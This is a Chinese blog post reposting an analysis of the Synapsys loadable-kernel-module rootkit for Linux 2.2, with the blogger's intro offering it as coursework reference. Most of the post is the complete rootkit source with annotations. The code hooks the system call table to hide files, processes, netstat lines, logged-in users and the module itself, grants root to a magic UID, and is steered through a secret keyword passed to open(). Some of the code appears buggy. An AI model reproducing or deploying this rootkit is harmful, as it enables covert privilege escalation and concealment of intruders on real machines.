原创
一个linux下简单rootkit的分析
2008-3-31 21:27
4982
6
6
分类:
软件与OS
熬夜写llroot,写的头有些晕了,代码也有点乱,所以停下来歇歇;就又去逆向昨天下的那个rootkit,搞了1个多小时,头又晕了,才搞了不到一半,夜深人静的时候,孤孤单单,没有美女陪,不爽啊.想想好长时间没有在这个blog上写技术文章了,于是就转来下面一篇文章,文章比较老了,针对linux2.2内核的,但是基本的思路是没有失效的.正好这学期的操作系统课程考试也打算让研究生写一些类似的程序,所以贴在这里,也可以给他们参考下.等我今年把现在的事情忙完,把计划中的那几个开发板做出来后,明年要回头认真写个linux下的rootkit玩玩.
前言
----------
这个rootkit应该都不陌生，功能相对很强大，也是lkm实现的rootkit的典型，通过对他代码的实际分析可以看出利用linux的lkm我们可以做很多很多有趣的木马程序。
就象Berserker本人对这个rootkit的解释一样，它截获open,getuid,kill,fork,clone,write,
query_module,getdents等系统调用，来实现针对特殊uid的root权限授予，隐藏自身文件，隐藏进程及其子进程和派生进程，隐藏netstat,finger,who等命令的输出，隐藏modules，呵呵。
本文要求你最好具有基本的lkm内核编程知识，截获系统调用我不多说了，至于怎么从用户区来获得参数，以及如何在内核空间为用户区分配内存的问题，我这里简单介绍一下，因为它是lkm可以作为hacking kernel的关键。
我们如何从用户区取得参数
--------------------------
在《linux可装载内核完全指南》这篇文章中定义了几个实现方法，我这里重复一下，我自己也介绍一种可行的方法。
好，我们来看看这个函数的定义：
char *strncpy_fromfs(char *dest,const char *src,int n)
{
char *tmp=src;
int compt=0;
while((dest[compt-1]!='\0')&&(compt!=n));
do {
dest[compt++]=_get_user(tmp++,1);
}
return dest;
}
这是一个经典例程，函数返回用户区的字符串指针，关键是我们利用了get_user(...)这个核心函数，它的作用可以用来将数据从用户态移到内核空间，同样道理我们可以用mencpy_fromfs(char *dest,const char *src,int n)来移动数据。
好，再给出第二个方法，copy_from_user(...)，很简单，函数返回用户区数据指针，我们看一下核心代码给出的函数原型：
static inline unsigned long
__generic_copy_from_user_nocheck(void *to, const void *from, unsigned long n)
{
__copy_user_zeroing(to,from,n);
return n;
}
这种也就是synapsys.c里面用的方法。
我们如何在内核空间为用户函数分配内存空间
--------------------------------------------
这个问题我解释一下，还是相对于上面来说，我们依然用这个函数：mencpy_tofs(void *to,const void *from,unsigned long count);但是我们如何在内核分配内存给*to呢？我们通过brk调用于current->mm->brk来增加未使用的数据段大小。我们给current进程分配内存空间，用来拷贝内核空间到用户模式。需要用到的brk调用就需要我们自己构建了，很简单，参看核心代码：
#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int ＄0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
if (__res >= 0) \
return (type) __res; \
errno = -__res; \
return -1; \
}
另外一种方法就是利用get_ds来获取用户数据段寄存器，然后把内核用来指向用户段的段选器设成需要的ds值就可以了，我们用set_fs(get_ds)来做到，具体这两个调用的实现参看核心代码。
第三种方式就是synapsys.c中所用到的利用copy_to_user(...),前面已有所介绍，就不多说了。
分析synapsys.c源代码
-------------------------
/*********************************************************************************************************************
* Synapsys-lkm version 0.4
*
* coded by Berserker for Neural Collapse Crew [www.neural-collapse.org]
*
* for questions, suggestions, bug report ----> berserker.ncl@infinito.it
*
* 描述 : Synapsys 是一个针对linux内核版本为2.2.x的lkm的rootkit. 实现文件和目录的隐藏 , 进程隐藏
* (包括子进程和派生进程), 隐藏netstat输出 (定义 port和host/ip/port/protocol变量), 以root特权来
* 定义uid, 用户隐藏(finger/who/w), 模块本身的隐藏. 加载模块之后，你可以完全控制open()系统调用；
* 可以任意激活/卸载, 可以改变隐藏文件的前缀, 在netstat输出里面屏蔽行信息以及隐藏用户列表。
*
*
* Saluti e Ringraziamenti : norby , anyone, beholder, mandarine, asfalto, jerusalem
*
* 编译方法: gcc -c -O3 -fomit-frame-pointer Synapsys.c
*
*********************************************************************************************************************/
#define MODULE
#define __KERNEL__
#if CONFIG_MODVERSIONS==1
#define MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/module.h>
#include <linux/mm.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
#include <linux/if.h>
#include <linux/smp_lock.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/segment.h>
#include <malloc.h>
char *magicword = "traboz"; /* 通过open调用来控制lkm的关键字 */
char file2hide[20] = "NCL_ph1l3"; /* 要隐藏的文件名包含的关键字 */
char hiddenuser[20] = "Ncl"; /* 在finger/who/w等命令的输出里隐藏的user值 */
char netstatstuff[20] = "host_or_ip_or_port"; /* 要隐藏的netstat命令的输出行 */
#define HIDDEN_PORT "3012" /* 定义端口号为*3012* */
#define PF_INVISIBLE 0x00002000
#define SIGNAL_INVISIBLE 32 /* 定义为隐藏进程发送的信号量 */
#define MAGIC_UID 666 /*定义MAGIC_UID值*/
#define LKM_NAME "Synapsys" /*定义lkm程序的程序名，不多说了：）*/
#define M_UID_FUNC "muid" /* 定义为MAGIC_UID激活/卸载root特权的开关字（不知道这样解释是否理解，西西）*/
#define GETDENTS_FUNC "hidf" /* 定义激活/卸载隐藏文件及进程的开关字 */
#define UNINST_LKM "unin" /* 卸载moudle*/
#define NETSTAT_FUNC "hidn" /* 定义激活/卸除netstat命令输出的开关字 */
#define FINGER_FUNC "hidu" /* 定义激活/卸除用户信息的开关字 */
#define HIDELKM_FUNC "hidm" /* 定义激活/卸除lkm本身隐藏的开关字 */
#define BE_VERBOSE_CMD "verbose" /*捕捉每个关键的变量值*/
int uid_func = 1; /* 1代表激活状态，0代表非激活（卸除）状态，缺省是全部激活状态*/
int hidf_func = 1;
int nets_func = 1;
int hidu_func = 1;
int hidm_func = 1;
extern void* sys_call_table[];/*导出系统调用表*/
asmlinkage int (*real_open)(const char *, int ,int );/*定义open调用*/
asmlinkage int (*real_getuid)(); /*定义getuid调用*/
asmlinkage int (*real_getdents)(unsigned int, struct dirent *,unsigned int);/*定义getdents调用*/
asmlinkage int (*real_kill)(int, int); /*定义kill调用*/
asmlinkage int (*real_fork)(struct pt_regs);/*定义fork调用*/
asmlinkage int (*real_clone)(struct pt_regs);
asmlinkage int (*real_write)(unsigned int , char *, unsigned int);
asmlinkage int (*real_query_module)(const char *, int, char *, size_t, size_t *);
asmlinkage void cleanup_module(void);
/*我们要替换的open调用*/
asmlinkage int hack_open(const char *pathname, int flag, int mod) {
/*这个asmlinkage定义，我费了很大的心思理解，后来在核心代码的socket.c中找到了，是一个内联函数，
主要是gcc在编译的时候连接asm代码*/
char *k_pathname;
char *x,*cmd,*tmp,*arg;
int i = 0;
k_pathname = (char*) kmalloc(256, GFP_KERNEL);
copy_from_user(k_pathname, pathname, 255);/*从用户区得到pathname值到内核空间*/
x = strstr(k_pathname, magicword); /*检查pathname里面有没有我们想要隐藏的东东*/
if ( x ) {
tmp = &x[strlen(magicword)];
if (strlen(tmp) >= 4) {
if (strlen(tmp) > 4)
arg = &tmp[4];
else arg = 0;
cmd = strncpy(cmd, tmp, 4);
cmd[4] = '\0';
if (strcmp(cmd,M_UID_FUNC) == 0) {
if (arg == 0) {
if (uid_func == 1) uid_func--;
else uid_func++;
}
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
printk("the value of uid_func is : %d\n",uid_func);
}
else if (strcmp(cmd,GETDENTS_FUNC) == 0) { /*确定隐藏文件本身的目录列表显示*/
if (arg == 0) {
if (hidf_func) hidf_func--;
else hidf_func++;
}
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
printk("the value of hidf_func is : %d the hidden files prefix is : %s\n ",hidf_func,file2hide);
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
memset(file2hide,0,sizeof(file2hide));
strncpy(file2hide,arg,strlen(arg));
}
}
else if (strcmp(cmd,NETSTAT_FUNC) == 0) { /*确定隐藏netstat的输出行*/
if (arg == 0) {
if (nets_func == 1) nets_func--;
else nets_func++;
}
else if(strcmp(arg,BE_VERBOSE_CMD) == 0) {
printk("the value of nets_func is : %d the hidden port is: %s are hidden lines that contains %s too\n"
,nets_func, HIDDEN_PORT, netstatstuff );
}
else if (strcmp(arg,BE_VERBOSE_CMD) != 0) {
memset(netstatstuff,0,sizeof(netstatstuff));
strncpy(netstatstuff,arg,strlen(arg));
}
}
else if(strcmp(cmd,FINGER_FUNC) == 0) { /*确定隐藏finger输出*/
if (arg == 0) {
if (hidu_func == 1) hidu_func--;
else hidu_func++;
}
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD) == 0)
printk("the value of hidu_func is : %d the hidden user is %s\n", hidu_func, hiddenuser);
else if (arg != 0 && strcmp(arg,BE_VERBOSE_CMD)) {
memset(hiddenuser,0,sizeof(hiddenuser));
strncpy(hiddenuser,arg,strlen(arg));
}
}
else if(strcmp(cmd,HIDELKM_FUNC) == 0) { /*确定隐藏自身模块*/
if (arg == 0) {
if (hidm_func == 1) hidm_func--;
else hidm_func++;
}
else if (arg != 0&& strcmp(arg,BE_VERBOSE_CMD) == 0)
printk("the value of hidm_func is : %d the module name hidden is : %s\n",hidm_func, LKM_NAME);
}
else if (!strcmp(cmd,UNINST_LKM)) {
printk("unistalling %s\n",LKM_NAME);
cleanup_module();
}
}
kfree(k_pathname); /*释放内核内存空间*/
return (real_open(pathname, flag, mod));
}
else {
kfree(k_pathname);
return(real_open(pathname, flag, mod));
}
}
/*开始截获调用！*/
asmlinkage int hack_getuid() { /*截获getuid调用*/
int a;
if(uid_func == 1 && current->uid == MAGIC_UID ) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
/*解释一下，怎么来截获呢？我大概讲一下，主要大家还是要看一下lkm的实现原理，
接获这个调用的意思是：当指向当前进程的指针current->uid为我们前面所确定的
MAGIC_UID的值的时候，也就是我们以这个MAGIC_UID登陆系统的是后，使当前进程的
uid,euid,gid,egid都为0，应该知道这意味这什么吧？西西*/
a = real_getuid();
return a; /*用回真实的getuid调用*/
}
asmlinkage int my_atoi (char *str) {
int ret = 0;
int i;
for(i = 0; str >='0' && str <='9'; ++i)
ret = 10 * ret + str - '0';
return ret;
}
/*该隐藏我们进程的任务列表结构啦*/
asmlinkage inline char *task_name(struct task_struct *p, char *buf) {
int i;
char *name;
name = p->comm;
i=sizeof(p->comm);
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if (!c)
break;
if (c == '\\') {
buf[1] = c;
buf += 2;
continue;
}
if (c == '\n') {
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}
while(i);
*buf = '\n';
return buf + 1;
}
/*取得pid*/
struct task_struct *get_task(pid_t pid) {
struct task_struct *p = current;
do {
if (p->pid == pid) return p;
p = p->next_task;
}
while (p != current);
return NULL;
}
/*隐藏pid！*/
asmlinkage int is_invisible(pid_t pid) {
struct task_struct *task = get_task(pid);
if (task == NULL) return 0;
if (task->flags & PF_INVISIBLE) return 1;
return 0;
}
/*截获kill调用，当调用kill来发信号给我们uid或euid时，就返回一个没有该进程的信息*/
asmlinkage int hack_kill(pid_t pid, int sig) {
struct task_struct *task = get_task(pid);
if(task == NULL)
return(-ESRCH);
else if(current->uid && current->euid)
return(-EPERM);
else if (sig == SIGNAL_INVISIBLE) {
task->flags |= PF_INVISIBLE;
}
else {
return (*real_kill)(pid, sig);
}
}
/*截获fork调用，隐藏派生的子进程*/
asmlinkage int hack_fork(struct pt_regs regs) {
struct task_struct *task;
pid_t pid;
int h = 0;
pid = real_fork(regs);
task = get_task(pid);
if (is_invisible(current->pid))
h++;
if (h && pid >= 0) {
if (task == NULL)
return -ESRCH;
if (pid <= 1)
return -1;
task->flags |= PF_INVISIBLE;
}
return pid ;
}
asmlinkage int hack_clone(struct pt_regs regs) {
struct task_struct *task;
pid_t pid;
int h = 0;
pid = real_clone(regs);
task = get_task(pid);
if (is_invisible(current->pid))
h++;
if (h && pid >= 0) {
if (task == NULL)
return -ESRCH;
if (pid <= 1)
return -1;
task->flags |= PF_INVISIBLE;
}
return pid ;
}
/*呵呵，开始隐藏我们的文件，接获getdents调用。这个截获很基础，就不多做注释了*/
asmlinkage int hack_getdents( unsigned int fd, struct dirent *dirp, unsigned int count) {
unsigned int getdret,n;
int x , proc = 0;
struct inode *dinode;
struct dirent *dirp2, *dirp3;
char *hiddenfile = file2hide; /*定义我们要隐藏的文件名*/
getdret = (*real_getdents)(fd,dirp,count);
/*定义目录节点*/
#ifdef __LINUX_DCACHE_H
dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
dinode = current->files->fd[fd]->f_inode;
#endif
if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) &&
MINOR(dinode->i_dev) == 1) proc++;
if (getdret > 0 ) {
dirp2 = (struct dirent *) kmalloc(getdret, GFP_KERNEL);
copy_from_user(dirp2, dirp, getdret);/*获取用户区参数*/
dirp3 = dirp2;
x = getdret ;
while (x > 0) {
n = dirp3->d_reclen;
x -= n;
if (((strstr ((dirp3->d_name), hiddenfile) != NULL ||
(proc && is_invisible(my_atoi(dirp3->d_name)))) && hidf_func )) {
if (x != 0)
memmove (dirp3, (char *) dirp3 + dirp3->d_reclen, x);
else
dirp3->d_off = 1024;
getdret -= n;
}
if(dirp3->d_reclen == 0) {
getdret -= x;
x = 0;
}
if ( x != 0)
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
}
copy_to_user(dirp, dirp2, getdret);
kfree(dirp2);
}
return getdret;
}
/*截获write调用*/
asmlinkage int hack_write(unsigned int fd, char *buf,unsigned int count) {
char *k_buf;
char *user = hiddenuser;
char *whtvr = netstatstuff;
if (strcmp(current->comm,"netstat" ) != 0 && strcmp(current->comm, "finger") != 0 && strcmp(current->comm, "w") != 0 && strcmp(current->comm, "who") )
return real_write(fd, buf, count);
if ((strcmp(current->comm, "netstat") == 0) && nets_func) {
k_buf = (char *) kmalloc(2000, GFP_KERNEL);
memset(k_buf,0,2000);
copy_from_user (k_buf, buf, 1999);
if (strstr(k_buf,HIDDEN_PORT) || strstr(k_buf,whtvr) ) {/*检查是否是有我们要隐藏的netstat行*/
kfree(k_buf);
return count;
}
kfree(k_buf);
}
if ((strcmp(current->comm, "finger") == 0 || strcmp(current->comm, "w") || strcmp(current->comm, "who")) && hidu_func) {
k_buf = (char *) kmalloc(2000, GFP_KERNEL);/*在内核分配内存空间*/
memset(k_buf,0,2000);
copy_from_user (k_buf, buf, 1999); /*从用户区获得参数*/
if (strstr(k_buf,user)) { /*从finger输出找出我们的用户标示*/
kfree(k_buf);
return count;
}
kfree(k_buf);
}
return real_write(fd, buf,count);
}
/*截获query_module调用来隐藏模块自身*/
asmlinkage int hack_query_module(const char *name, int which, char *buf, size_t bufsize, size_t *ret) {
int r, a;
char *ptr, *match;
r = real_query_module(name, which, buf, bufsize, ret);
if (r == -1)
return -ENOENT;
if (which != QM_MODULES)
return r;
ptr = buf;
for (a = 0; a < *ret; a++) {
if (!strcmp(LKM_NAME, ptr) && hidm_func) {
match = ptr;
while (*ptr)
ptr++;
ptr++;
memcpy(match, ptr, bufsize -(ptr -(char *)buf));
(*ret)--;
return r;
}
while (*ptr)
ptr++;
ptr++;
}
return r;
}
/*开始加载我们的内核模块！*/
int init_module(void){
real_open=sys_call_table[SYS_open];/*保存原open调用*/
sys_call_table[SYS_open]=hack_open;/*截获！*/
real_getuid=sys_call_table[SYS_getuid];/*保存原getuid调用*/
sys_call_table[SYS_getuid]=hack_getuid;/*截获*/
real_getdents=sys_call_table[SYS_getdents];/*保存原getdents调用*/
sys_call_table[SYS_getdents]=hack_getdents;/*截获！*/
real_kill=sys_call_table[SYS_kill];/*保存原kill调用*/
sys_call_table[SYS_kill]=hack_kill;/*截获！*/
real_fork=sys_call_table[SYS_fork];/*保存原fork调用*/
sys_call_table[SYS_fork]=hack_fork;/*截获！*/
real_clone=sys_call_table[SYS_clone];/*保存原clone调用*/
sys_call_table[SYS_clone]=hack_clone;/*截获*/
real_write=sys_call_table[SYS_write];/*保存write调用*/
sys_call_table[SYS_write]=hack_write;/*截获*/
real_query_module=sys_call_table[SYS_query_module];/*保存原query_module调用*/
sys_call_table[SYS_query_module]=hack_query_module;/*截获*/
return 0;
}
void cleanup_module(void){ /*卸载*/
sys_call_table[SYS_open]=real_open;
sys_call_table[SYS_getuid]=real_getuid;
sys_call_table[SYS_getdents]=real_getdents;
sys_call_table[SYS_kill]=real_kill;
sys_call_table[SYS_fork]=real_fork;
sys_call_table[SYS_clone]=real_clone;
sys_call_table[SYS_write]=real_write;
sys_call_table[SYS_query_module]=real_query_module;
}
/3 
文章评论（0条评论）
登录后参与讨论